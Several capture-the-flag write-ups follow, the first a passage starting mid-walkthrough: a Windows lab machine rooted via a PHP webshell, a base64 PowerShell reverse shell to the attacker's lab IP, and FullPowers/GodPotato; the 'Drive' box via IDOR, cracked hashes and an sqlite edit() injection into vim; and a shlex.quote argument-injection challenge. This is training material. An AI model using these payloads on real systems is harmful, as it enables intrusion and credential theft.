After navigation in the machine we can see C:\xampp\htdocs which is the root of web directory this gives us an idea of getting shell from it because the web service possess ImpersonatePrivilege permissions. These permissions can potentially be exploited for privilege escalation.
To get shell as local service i created a simple webshell
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Then i uploaded it to this path C:\xampp\htdocs\uploads and then accessed the shell from the site like this
It works so Let’s get the shell as the local service.
We can use rev shell generator and from it i choosed powershell#3 (base64), then i set up the listener and send this payload in the url
http://10.10.11.234/uploads/shell.php?cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
and we got the shell
connect to [10.10.16.81] from (UNKNOWN) [10.10.11.234] 49960
whoami
nt authority\local service
PS C:\xampp\htdocs\uploads> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
shell as root
As we see SeImpersonatePrivilege doesn’t exist and this moves us to use FullPower that helps in recovering the privilages.
After Downloading the tool and sending it to the victim machine we can use it to get a shell as the local service but with full privilages like this
PS C:\xampp\htdocs\uploads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
We got the shell with full privilages as shown below
whoami
nt authority\local service
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Now we can exploit SeImpersonatePrivilege to get access to System user
We will use potato for that.
God potato is a version of it and the latest one as the previous versions were for the same purpose but are patched.
Download the script and send it to victim as before, then we can use it to execute commands as system.
We can get a reverse shell as System or read flag directly as shown below
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\5d3b54b0-a045-4fd9-b2cc-24a3eec17d49\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-1398-ffff-b3ec-b92af9a77b95
[*] DCOM obj OXID: 0x995333262ce97ff6
[*] DCOM obj OID: 0xc0dd9e4d9e40b97c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1856
nt authority\system
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\a6093430-876f-4fd6-9001-b4b9a94a7b1b\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00004002-120c-ffff-6bc9-00a5ef395859
[*] DCOM obj OXID: 0xc5cf60320db2d932
[*] DCOM obj OID: 0xd1be762d7a08c269
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 956
3******************************b
-
Drive
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ nmap -sV -sC -Pn -oA nmap/drive 10.10.11.235
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-20 02:36 SAST
Nmap scan report for 10.10.11.235
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.61 seconds
shell as martin
from the scan results we see that port 80 is the most interesting as 3000 is filtered
we add this the record 10.10.11.235 drive.htb to /etc/hosts file and go to the site
I registered in the site and then logged in with my new account
I got redirected to this
I see two interesting tabs upload file & dashboard
upload file: enables me to upload file
I tried to upload shell but i got a response indicating that a malicious behaviour detected
Then i uploaded just a test file called tst with random text inside
dashboard: contains the uploaded files as shown below
When i open as example Welcome_To_Doodle_Grive! file, i reach this url http://drive.htb/100/getFileDetail/
and when i select other file like tst, i reach this url http://drive.htb/112/getFileDetail/
Ummmmmmm, there may be idor here but let’s check this reserve option first.
It moves me to the url http://drive.htb/112/block/
Let’s try some enum for the idor
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://drive.htb/FUZZ/getFileDetail/ -w <(seq 1 2000) -fc 500 -H "Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://drive.htb/FUZZ/getFileDetail/
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 315ms]
* FUZZ: 79
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 261ms]
* FUZZ: 98
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 279ms]
* FUZZ: 99
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 266ms]
* FUZZ: 101
[Status: 200, Size: 5081, Words: 1147, Lines: 172, Duration: 267ms]
* FUZZ: 100
[Status: 200, Size: 5054, Words: 1059, Lines: 167, Duration: 276ms]
* FUZZ: 112
:: Progress: [2000/2000] :: Job [1/1] :: 65 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
We got the interesting ids, We can access 100,112 in getFileDetail endpoint but when we try to access the others we get 401 status code in response
After some trails i found that we can access them through block endpoint like this http://drive.htb/79/block/ and i found this
Let’s login using these credentials ssh martin@10.10.11.235 and congratzzz we got a shell as martin
shell as tom
I started digging into the machine as martin by searching for simple privesc ways like sudo -l, crontab, etc but with no useful information.
After some digging into the machine i found the accessable path with useful information in /var/www/backups
martin@drive:/var/www/backups$ ls
1_Dec_db_backup.sqlite3.7z 1_Nov_db_backup.sqlite3.7z 1_Oct_db_backup.sqlite3.7z 1_Sep_db_backup.sqlite3.7z db.sqlite3
The 7z files needs password to be accessed but there’s db.sqlite3 can be accessed by sqlite3 db.sqlite
after digging in it i reached this
sqlite> select username,password from accounts_customuser;
jamesMason|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
after cracking them offline using hashcat i got this creds tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Couldn’t use it to get shell as another user but let’s keep it now
When we dig into network especially using netstat -nltp we will find this
martin@drive:/var/www/backups$ netstat -nltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
We will use port forwarding to be able to access it using the command ssh -L 3001:127.0.0.1:3000 martin@10.10.11.235
and when we access this url 127.0.0.1:3000 we reach gitea
I tried this creds tomHands:john316 but couldn’t login successfully
then note that from the database there’s username martinCruz who is martin and we already know his password, so i used this creds and logged in successfully to this repo
after examining the repo especially the commits i found interesting commit with message added the new database backup feature
This commit shows info about making the backups and we got the password to extract the archived backups
when i extract the backup in backups directory i get error as i have no permissions here, so i move the backups to /dev/shm which is a traditional shared memory and extracted them their using for example this command 7z e -p'H@ckThisP@ssW0rDIfY0uC@n:)' /dev/shm/1_Sep_db_backup.sqlite3.7z -o/dev/shm/Sep.db.sqlite3
the backups are sqlite3 databases and after digging into them you will find the treasures here select username,password from accounts_customuser; and this because the instances have some changes in the passwords so we will take them and crack them offline as done before.
The user tomHands is the one whose password is changed between the backup instances and here are all hashes with there hash cracking output
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
tomHands:sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
from /etc/passwd we know that there’s a user called tom and we are trying to get a shell as tom so let’s try ssh using all these passwords
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ crackmapexec ssh 10.10.11.235 -u tom -p passwdTom
SSH 10.10.11.235 22 10.10.11.235 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
SSH 10.10.11.235 22 10.10.11.235 [-] tom:johniscool Authentication failed.
SSH 10.10.11.235 22 10.10.11.235 [+] tom:johnmayer7
so we can ssh using tom:johnmayer7
tom@drive:~$ ls
doodleGrive-cli README.txt user.txt
tom@drive:~$ cat user.txt
********************************
shell as root
we found doodleGrive-cli which seems very interesting it requires credientials to be launched so i moved it to my machine and started analyzing it using ghidra
when ghidra finishes analysis i examined the main function which is shown below after variable renaming
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char username [16];
char password [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setenv("PATH","",1);
setuid(0);
setgid(0);
puts(
"[!]Caution this tool still in the development phase...please report any issue to the developm ent team[!]"
);
puts("Enter Username:");
fgets(username,0x10,(FILE *)stdin);
sanitize_string(username);
printf("Enter password for ");
printf(username,0x10);
puts(":");
fgets(password,400,(FILE *)stdin);
sanitize_string(password);
iVar1 = strcmp(username,"moriarty");
if (iVar1 == 0) {
iVar1 = strcmp(password,"findMeIfY0uC@nMr.Holmz!");
if (iVar1 == 0) {
puts("Welcome...!");
main_menu();
goto LAB_0040231e;
}
}
puts("Invalid username or password.");
LAB_0040231e:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
from this function we found the username:password which is moriarty:findMeIfY0uC@nMr.Holmz!
There are also 2 other functions which are sanitize_string & main_menu Let’s check them
sanitize_string
void sanitize_string(char *param_1)
{
bool bVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_3c;
int local_38;
uint local_30;
undefined8 local_29;
undefined local_21;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_3c = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
local_38 = 0;
do {
sVar2 = strlen(param_1);
if (sVar2 <= (ulong)(long)local_38) {
param_1[local_3c] = '\0';
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bVar1 = false;
for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) {
if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) {
bVar1 = true;
break;
}
}
if (!bVar1) {
param_1[local_3c] = param_1[local_38];
local_3c = local_3c + 1;
}
local_38 = local_38 + 1;
} while( true );
}
This is sanitize_string function which accepts string and removes bad characters
these bad characters are represnted as 0x5c7b2f7c20270a00 & 0x3b which are \{/| '\n\00;
main_menu
void main_menu(void)
{
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
fflush((FILE *)stdin);
do {
putchar(10);
puts("doodleGrive cli beta-2.2: ");
puts("1. Show users list and info");
puts("2. Show groups list");
puts("3. Check server health and status");
puts("4. Show server requests log (last 1000 request)");
puts("5. activate user account");
puts("6. Exit");
printf("Select option: ");
fgets(local_28,10,(FILE *)stdin);
switch(local_28[0]) {
case '1':
show_users_list();
break;
case '2':
show_groups_list();
break;
case '3':
show_server_status();
break;
case '4':
show_server_log();
break;
case '5':
activate_user_account();
break;
case '6':
puts("exiting...");
/* WARNING: Subroutine does not return */
exit(0);
default:
puts("please Select a valid option...");
}
} while( true );
}
as we see there are different options and each option has its own function but after examining them I’m interested in activate_user_account
activate_user_account
void activate_user_account(void)
{
size_t sVar1;
long in_FS_OFFSET;
char username [48];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter username to activate account: ");
fgets(username,0x28,(FILE *)stdin);
sVar1 = strcspn(username,"\n");
username[sVar1] = '\0';
if (username[0] == '\0') {
puts("Error: Username cannot be empty.");
}
else {
sanitize_string(username);
snprintf(local_118,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
,username);
printf("Activating account for user \'%s\'...\n",username);
system(local_118);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
I think it’s interesting because it takes an input from us which is the username and this input is put within the query
The only obstacle is sanitize_string function applied on this username
after search here i found that SQL functions that have potentially harmful side-effects, such as edit(), fts3_tokenizer(), load_extension(), readfile() and writefile().
After examining edit() i found that it can open an editor and from it we can run command as root
First we will open the cli using this command VISUAL=/usr/bin/vim ./doodleGrive-cli because in the documentation of edit() function you will see that the editor can be chosen by making it the value if VISUAL environment variable
To bypass the sanitize_string function the payload will be "&edit(username)-- -
and it gives us vim editor at which we can type :!/bin/bash as shown
and congratz you are root now
you can get the flag
root@drive:~# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root),1003(tom)
root@drive:~# /usr/bin/cat /root/root.txt
********************************
-
-
-
-
Misc: Library (hard)
Description
Built a book library, however my friend says that i made a nasty mistake!
Author: zAbuQasem
nc 172.190.120.133 50003
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = title
self.author = author
self.isbn = isbn
class BookCopy:
def __init__(self, book):
self.book = book
self.available = True
class SaveFile:
def __init__(self, file_name=os.urandom(16).hex()):
self.file = file_name
class Library:
def __init__(self, name):
self.name = name
self.books = {}
self.members = {}
def add_book(self, book, num_copies=1):
if book.isbn in self.books:
self.books[book.isbn] += num_copies
else:
self.books[book.isbn] = num_copies
def add_member(self, member):
self.members[member.name] = member
def display_books(self,title=''):
if not title == '':
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if book.title == title:
return book.title
else:
console.print("\n[bold red]Book not found.[/bold red]")
else:
console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]")
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]")
def search_book(self):
pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]")
matching_books = []
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if re.fullmatch(pattern,book.title):
matching_books.append(book)
if matching_books:
console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]")
for book in matching_books:
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]")
else:
console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]")
def check_out_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
if isbn not in self.books or self.books[isbn] <= 0:
console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]")
return
member = self.members[member_name]
book_copy = BookCopy(isbn_to_book[isbn])
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available:
member_books[member_name][i] = book_copy
self.books[isbn] -= 1
console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]")
return
console.print("\n[bold red]No available copies of the book for checkout.[/bold red]")
def return_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
member = self.members[member_name]
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available:
member_books[member_name][i].available = True
self.books[isbn] += 1
console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]")
return
console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]")
def save_book(title, content='zAbuQasem'):
try:
with open(title, 'w') as file:
file.write(content)
console.print(f"[bold green]Book saved successfully[/bold green]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
if __name__ == "__main__":
library = Library("My Library")
isbn_to_book = {}
member_books = {}
while True:
console.print("\n[bold blue]Library Management System[/bold blue]")
console.print("1. Add Member")
console.print("2. Add Book")
console.print("3. Display Books")
console.print("4. Search Book")
console.print("5. Check Out Book")
console.print("6. Return Book")
console.print("7. Save Book")
console.print("8. Check File Presence")
console.print("0. Exit")
choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]")
if choice == "0":
console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]")
break
elif choice == "1":
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.add_member(Member(member_name))
console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]")
elif choice == "2":
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
book = Book(title, author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]")
elif choice == "3":
library.display_books()
elif choice == "4":
library.search_book()
elif choice == "5":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.check_out_book(isbn, member_name)
elif choice == "6":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.return_book(isbn, member_name)
elif choice == "7":
choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]")
if choice == "1":
title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip()
file = SaveFile(library.display_books(title=title))
save_book(file.file, content="Hello World")
else:
save_file = SaveFile()
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
title = title.format(file=save_file)
book = Book(title,author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
save_book(title)
elif choice == "8":
check_file_presence()
else:
console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
What a huge code !!
Don’t worry after a fast examination we will know that there’s only small interesting part
The interesting part is the choice number 8 cuz it calls the function check_file_presence() and its content is
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
It’s interesting cuz it the only one containing command execution and the command we can say its supplied from the user (not exactly)
Okay let’s analyze this function
We have book_name is concatenated with ls and the result is executed as command
This appears to be vulnerable to command injection and we see that that the blacklist is very poor
but the problem is in shlex.quote this puts the input in quots
Then your dreams about supplying ;whoami as input so the command becomes ls ;whoami are destroyed becaused the command became ls ';whoami'
What can we do then ?!!!
After searching i found this amazing article
I recommend it
The most important thing we got from it is that shlex.quote() escapes the shell's parsing, but it does not escape the argument parser of the command you're calling, and some additional tool-specific escaping needs to be done manually, especially if your string starts with a dash (-).
So What about making the input something like -la resulting in the command ls -la without the problem of quotes.
┌──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50003
Library Management System
1. Add Member
2. Add Book
3. Display Books
4. Search Book
5. Check Out Book
6. Return Book
7. Save Book
8. Check File Presence
0. Exit
Enter your choice (0-8): 8
Enter the name of the book (file) to check: -la
total 56
drwxr-sr-x 1 challeng challeng 4096 Feb 9 23:44 .
drwxr-xr-x 1 root root 4096 Feb 1 14:20 ..
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:52 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:20 ;ls
